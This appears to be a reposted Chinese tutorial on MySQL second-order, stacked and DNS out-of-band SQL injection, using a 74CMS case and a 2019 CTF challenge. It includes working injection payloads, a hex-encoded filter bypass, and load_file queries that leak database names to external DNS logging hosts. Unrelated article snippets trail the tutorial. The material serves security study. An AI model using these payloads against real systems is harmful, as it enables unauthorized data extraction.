Web攻防05_MySQL_二次注入堆叠注入带外注入

文章目录

  • MYSQL-二次注入-74CMS
      • 思路描述:
      • 注入条件:
      • 案例:74CMS个人中心简历功能
  • MYSQL-堆叠注入-CTF强网
      • 思路描述
      • 注入条件
      • 案例:2019强网杯-随便注(CTF题型)
  • MYSQL-带外注入-DNSLOG
      • 注入条件
      • 使用平台
      • 带外应用场景:

本节内容:

二次注入、堆叠注入、带外注入
在这里插入图片描述

MYSQL-二次注入-74CMS

该漏洞较冷门,冷门也有好处,热门漏洞大家都会去注意,在挖掘漏洞时可能会不好挖,冷门漏洞可能反而好挖一些

思路描述:

在这里插入图片描述

黑盒思路:分析功能有添加后对数据操作的地方(功能点)

白盒思路:insert后进入select或update的功能的代码块

注入条件:

插入时有转义函数或配置,后续有可利用插入数据的点

magic_quotes_gpc 魔术引号开关,PHP,开启后自动对引号进行转义

该参数本意阻止SQL注入,但是在二次注入里又需要它

实战中黑盒测试基本上发现不到二次注入,可能性很小,需要的点太多了,而且时间上也不允许,一般二次注入都是从代码审计,白盒测试中找出的。

案例:74CMS个人中心简历功能

74CMS个人中心简历功能

1、在增加简历内容时有注入点:

在这里插入图片描述

2、发现专业名称一栏有长度限制,检查内容发现是前端限制,直接修改前端代码即可。

插入内容有时会限制长度,分为前端限制和后端限制,后端限制没办法,前端限制的话可以直接修改前端代码即可。

在这里插入图片描述

3、插入注入语句。

aa',`fullname`=version()#

4、预览简历,触发二次注入,爆出数据库版本:

在这里插入图片描述

如果是黑盒测试,完全不知道代码如何写的,SQL语句是什么样的,很难发现该漏洞,基本不可能,一般不会黑盒这样测,无法准确的测到。

MYSQL-堆叠注入-CTF强网

思路描述

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,

例如php中的mysqli_multi_query函数。与之相对应的==mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()==这样的函数,根据数据库类型决定是否支持多条语句执行.

注入条件

1、目标存在sql注入漏洞

2、目标未对";"号进行过滤

3、目标中间层查询数据库信息时可同时执行多条sql语句

4、支持堆叠数据库:MYSQL MSSQL Postgresql等,大部分都支持,主要看函数是否支持多条语句执行

该漏洞注入的内容是一个全新的SQL语句,实战中用的不多,CTF中用的多

案例:2019强网杯-随便注(CTF题型)

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

# 对select有过滤,将内容换为十六进制码,再加上语句,变量赋值执行进行绕过。

';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

参考文章:https://blog.csdn.net/weixin_45642610/article/details/112337143

MYSQL-带外注入-DNSLOG

注入条件

ROOT高权限且支持load_file(),两者缺一不可

MySQL中secure-file-priv控制安全权限,高版本默认开启该安全策略。

直接用load_file()和带外注入没有区别,只是带外解决了不回显的问题

有部分注入点是没有回显的,所有读取也是没回显的,采用带外

不回显,没有显示,都是可以通过带外解决

使用平台

http://ceye.io

http://www.dnslog.cn

带外应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等

SQL注入语句示例:

and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))

// 查询当前数据库

id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))



//查询其他数据库

id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

由于该DNS记录只能回显一个字段,所以应该使用limit,第一个参数是查询起始位置,第二个参数是查询个数

实战中碰不到。都是在面试/CTF中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/104870.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Mybatis-Plus CRUD

💗wei_shuo的个人主页 💫wei_shuo的学习社区 🌐Hello World ! Mybatis-Plus CRUD 通用 Service CRUD 封装 IService 接口,进一步封装 CRUD 采用 get 查询、remove 删除 、list 查询集合、page 分页的前缀命名方式区分 …

【0229】libpq库实现压测PG服务器max_connections的最大连接数

1. PG服务器接收的最大连接数 在PG服务的postgresql.conf配置文件中,参数:max_connections 注明了PG服务所能够接受的最大客户端的连接数量。此值默认是100,那么PG服务此参数最大能够调到多大呢? 本文将采用libpq库编写demo来进行压测,并将最终的结论和数据于文章中给出。…

UWB技术在定位系统中的革新应用

超宽带技术(Ultra-Wideband, UWB)的崛起为定位系统领域带来了前所未有的机遇。其亚米级别的高精度定位、强大的穿透能力以及高速数据传输的特性,使得UWB在室内和室外定位系统中得以广泛应用。本文将深入探讨UWB技术在定位系统中的应用&#x…

关于数据可视化那些事

干巴巴的数据没人看,数据可视化才能直观展现数据要点,提升数据分析、数字化运营决策效率。那关于可视化的实现方式、技巧、工具等,你了解几分?接下来,我们就来聊聊数据可视化那些事。 1、什么是数据可视化&#xff1f…

java 企业工程管理系统软件源码 自主研发 工程行业适用

工程项目管理软件(工程项目管理系统)对建设工程项目管理组织建设、项目策划决策、规划设计、施工建设到竣工交付、总结评估、运维运营,全过程、全方位的对项目进行综合管理 工程项目各模块及其功能点清单 一、系统管理 1、数据字典&am…

LeetCode刷题---简单组(三)

文章目录 🍒题目一 20. 有效的括号🍒解法一🍒题目二 26. 删除有序数组中的重复项🍒解法一🍒题目三 21. 合并两个有序链表🍒解法一 🍒题目一 20. 有效的括号 给定一个只包括 ‘(’,‘…

在antd里面渲染MarkDown并且自定义一个锚点目录TOC(重点解决导航目录不跟随文档滚动的问题)

一、整体思路 由于有很多很长的文档需要渲染,我觉得用MarkDown的方式会比较适合管理,所以这两天测试了一下在antd里面集成MarkDown的渲染模块。 总体思路参考: https://blog.csdn.net/Sakuraaaa_/article/details/128400497 感恩大佬的倾情付…

windows安装最新pip官方教程

在执行pip的pip install --upgrade pip更新时,出现如下错误,怎么也无法重新安装: 根据官网的安装教程来 命令的方式一: • 卸载PIP的命令:python -m pip uninstall pip • 重装PIP的命令:python -m ensure…

Biome-BGC生态系统模型与Python融合技术教程

详情点击公众号链接:Biome-BGC生态系统模型与Python融合技术教程 前言 Biome-BGC是利用站点描述数据、气象数据和植被生理生态参数,模拟日尺度碳、水和氮通量的有效模型,其研究的空间尺度可以从点尺度扩展到陆地生态系统。 在Biome-BGC模型…

thinkphp6项目使用多应用开发

使用composer安装项目,命令:composer create-project topthink/think thinkphp6使用多应用开发,安装多应用扩展,命令:composer require topthink/think-multi-app安装多应用扩展成功后,删除app/controller文…

如何使用 Pinia ORM 管理 Vue 中的状态

状态管理是构建任何Web应用程序的重要组成部分。虽然Vue提供了管理简单状态的技术,但随着应用程序复杂性的增加,处理状态可能变得更具挑战性。这就是为什么像Pinia这样的库被创建出来,以增强Vue的基本状态管理能力。然而,在大型应…

【虚幻引擎UE】UE4/UE5 基于2D屏幕坐标获取场景3D坐标 射线检测(蓝图/C++)

UE4/UE5 基于2D屏幕坐标获取场景3D坐标 一、射线检测1)定义1)射线与3D场景中的物体交互的流程2)射线检测蓝图函数3)蓝图实现根据鼠标点击位置获取场景中的坐标值4)根据相机中心点获取场景中的坐标值5)射线检…

基于SpringBoot的垃圾分类管理系统

基于SpringBootVue的垃圾分类管理系统的设计与实现~ 开发语言:Java数据库:MySQL技术:SpringBootMyBatis工具:IDEA/Ecilpse、Navicat、Maven主要功能:包括前台和后台两部分、首页列表展示、垃圾分类、垃圾图谱、查看详…

基于PHP的图像分享社交平台

有需要请加文章底部Q哦 可远程调试 基于PHP的图像分享社交平台 一 介绍 此图像分享社交平台基于原生PHP开发,数据库mysql,前端bootstrap。平台角色分为用户和管理员。用户可注册登录,发布图像,修改个人信息,评论图像…

lua-web-utils和proxy程序示例

以下是一个使用lua-web-utils和https://www.duoip.cn/get_proxy的爬虫程序示例。每行代码后面都给出了详细的中文解释。 -- 导入所需的库 local http require("http") local ltn12 require("ltn12") local json require("json") local web_u…

Python 编写 Flink 应用程序经验记录(Flink1.17.1)

目录 官方API文档 提交作业到集群运行 官方示例 环境 编写一个 Flink Python Table API 程序 执行一个 Flink Python Table API 程序 实例处理Kafka后入库到Mysql 下载依赖 flink-kafka jar 读取kafka数据 写入mysql数据 flink-mysql jar 官方API文档 https://nigh…

软件工程17-18期末试卷

2.敏捷开发提倡一个迭代80%以上的时间都在编程,几乎没有设计阶段。敏捷方法可以说是一种无计划性和纪律性的方法。错 敏捷开发是一种软件开发方法论,它强调快速响应变化、持续交付有价值的软件、紧密合作和适应性。虽然敏捷方法鼓励迭代开发和灵活性&…

腾讯云国际-如何使用对象存储COS在 CKafka 控制台创建数据异步拉取任务?腾讯云代充

操作场景 Datahub 支持接入各种数据源产生的不同类型的数据,统一管理,再分发给下游的离线/在线处理平台,构建清晰的数据通道。 本文以 COS 数据为例介绍如何在 CKafka 控制台创建数据异步拉取任务,并对任务进行修改配置&#xf…

CVE-2023-46227 Apache inlong JDBC URL反序列化漏洞

项目介绍 Apache InLong(应龙)是一站式、全场景的海量数据集成框架,同时支持数据接入、数据同步和数据订阅,提供自动、安全、可靠和高性能的数据传输能力,方便业务构建基于流式的数据分析、建模和应用。 项目地址 h…

Python 中的 Pexpect

我们将通过示例介绍Python中的Pexpect。 Python 中的 Pexpect Python 是一种非常流行的语言,用于数据科学和机器学习。 它是一种非常强大的语言,因为 Python 具有可用于不同目的的内置库。 在这篇文章中,我们将研究Python中的pexpect。 Pex…